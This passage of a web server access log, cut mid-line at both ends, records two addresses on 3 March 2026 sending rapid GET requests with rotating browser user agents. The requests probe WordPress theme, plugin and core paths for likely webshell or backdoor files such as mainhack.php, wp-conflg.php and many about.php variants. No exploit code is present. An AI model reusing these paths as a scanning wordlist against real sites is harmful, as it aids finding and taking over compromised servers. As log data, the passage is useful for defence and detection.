10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:01 +0300] "GET /wp-content/settings/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:04 +0300] "GET /wp-content/themes/akses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:08 +0300] "GET /wp-content/themes/twentytwentythree/gfhfv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:19:11 +0300] "GET /wp-content/plugins/sccrbel/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:19:14 +0300] "GET /wp-content/plugins/tilnzqc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:17 +0300] "GET /wp-admin/zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:19:20 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:19:24 +0300] "GET /wp-includes/mer_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:27 +0300] "GET /wp-admin/uuj_gagal.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:30 +0300] "GET /wp-admin/css/colors/lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:33 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:36 +0300] "GET /wp-includes/wp-mails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:39 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:43 +0300] "GET /wp-content/themes/news-portal/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:46 +0300] "GET /wp-content/uploads/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:19:49 +0300] "GET /wp-includes/class-wp-widget-table.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:52 +0300] "GET /wp-includes/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:19:55 +0300] "GET /wp-includes/js/tinymce/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:19:59 +0300] "GET /wp-includes/blocks/missing/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:20:02 +0300] "GET /wp-content/themes/merah/includes/options-framework/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:05 +0300] "GET /wp-content/themes/dlloduv/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:20:08 +0300] "GET /wp-admin/css/colors/blue/wp-ait.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:20:11 +0300] "GET /wp-admin/includes/class-wp-screen-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:20:15 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:20:18 +0300] "GET /wp-content/plugins/wpvivid-backuprestore/error/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:20:21 +0300] "GET /wp-content/themes/twentytwentyfive/assets/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:20:24 +0300] "GET /wp-includes/blocks/post-terms/vx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:28 +0300] "GET /wp-includes/Requests/src/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:20:31 +0300] "GET /wp-includes/rest-api/search/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:34 +0300] "GET /wp-includes/PHPMailer/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:37 +0300] "GET /wp-includes/customize/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:40 +0300] "GET /wp-includes/ID3/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:44 +0300] "GET /wp-includes/widgets/woocommerce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:47 +0300] "GET /wp-includes/block-bindings/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:20:50 +0300] "GET /wp-content/uploads/ast-block-templates-json/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:53 +0300] "GET /wp-content/maintenance/assets/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:20:56 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:20:59 +0300] "GET /wp-admin/maint/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:03 +0300] "GET /wp-admin/images/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:06 +0300] "GET /wp-admin/network/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:09 +0300] "GET /wp-admin/css/colors/PHPMailer/s HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:21:12 +0300] "GET /wp-content/languages/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:15 +0300] "GET /wp-admin/zz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:19 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:21:22 +0300] "GET /wp-admin/wp-signin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:25 +0300] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:21:28 +0300] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:21:32 +0300] "GET /wp-includes/blocks/footnotes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:21:35 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:21:38 +0300] "GET /wp-includes/rest-api/fields/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:21:41 +0300] "GET /wp-content/themes/consultstreet/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:21:44 +0300] "GET /wp-content/uploads/complianz/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:21:47 +0300] "GET /wp-content/plugins/acucozo/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:51 +0300] "GET /wp-content/plugins/query-monitor/collectors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:54 +0300] "GET /wp-content/plugins/x/wp-classs-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:21:57 +0300] "GET /wp-content/plugins/pixelyoursite/vendor/glenscott/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:00 +0300] "GET /wp-content/plugins/mailpoet/vendor/composer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:04 +0300] "GET /wp-content/plugins/protect-uploads/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:07 +0300] "GET /wp-content/plugins/wp-file-manager/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:22:10 +0300] "GET /wp-includes/theme-compat/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:22:13 +0300] "GET /wp-includes/fonts/vpi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:22:16 +0300] "GET /wp-content/updraft/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:22:19 +0300] "GET /wp-content/wpvivid_uploads/Isolate/error/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:23 +0300] "GET /wp-admin/css/colors/coffee/Isolate/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:22:26 +0300] "GET /wp-admin/maint/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:29 +0300] "GET /wp-admin/user/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:32 +0300] "GET /wp-content/plugins/pretty-link/app/wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:35 +0300] "GET /wp-content/webp-express/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:39 +0300] "GET /wp-includes/blocks/nextpage/wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:22:42 +0300] "GET /wp-includes/sodium_compat/namespaced/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:22:45 +0300] "GET /wp-includes/images/smilies/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:22:48 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:22:51 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:22:55 +0300] "GET /wp-admin/user/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:22:58 +0300] "GET /wp-admin/includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:01 +0300] "GET /wp-content/fonts/dancing-script/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:04 +0300] "GET /wp-content/webp-express/webp-images/sitemap_index.xml/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:23:07 +0300] "GET /wp-content/themes/twentytwentyfive/patterns/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:23:11 +0300] "GET /wp-includes/certificates/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:23:14 +0300] "GET /wp-includes/html-api/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:23:17 +0300] "GET /wp-includes/Text/Diff/Renderer/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:20 +0300] "GET /wp-includes/SimplePie/src/Content/Type/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:23 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:23:27 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:30 +0300] "GET /wp-admin/user/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:23:33 +0300] "GET /wp-content/themes/bbpress/mainhack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:23:36 +0300] "GET /wp-content/plugins/junkfood/mainhack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:23:39 +0300] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:23:43 +0300] "GET /wp-content/plugins/elementor/core/frontend/render-modes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:46 +0300] "GET /wp-content/plugins/wordpress-seo/src/dashboard/application/search-rankings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:49 +0300] "GET /wp-includes/abilities-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:23:52 +0300] "GET /wp-includes/js/jquery/ui/nsuebz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:23:55 +0300] "GET /wp-includes/assets/000.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:23:59 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/zczv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:02 +0300] "GET /wp-content/drive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:24:05 +0300] "GET /wp-includes/l10n/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:24:08 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:11 +0300] "GET /wp-includes/js/anskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:24:14 +0300] "GET /backoffice-Stopped/management/assets/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.102 - - [03/Mar/2026:08:24:18 +0300] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:24:21 +0300] "GET /assets/images/about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 85.203.23.102 - - [03/Mar/2026:08:24:24 +0300] "GET /assets/images/services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 85.203.23.102 - - [03/Mar/2026:08:24:27 +0300] "GET /admin/assets/dist/img/weather/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:15 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:18 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:21 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:25 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 85.203.23.75 - - [03/Mar/2026:08:07:28 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 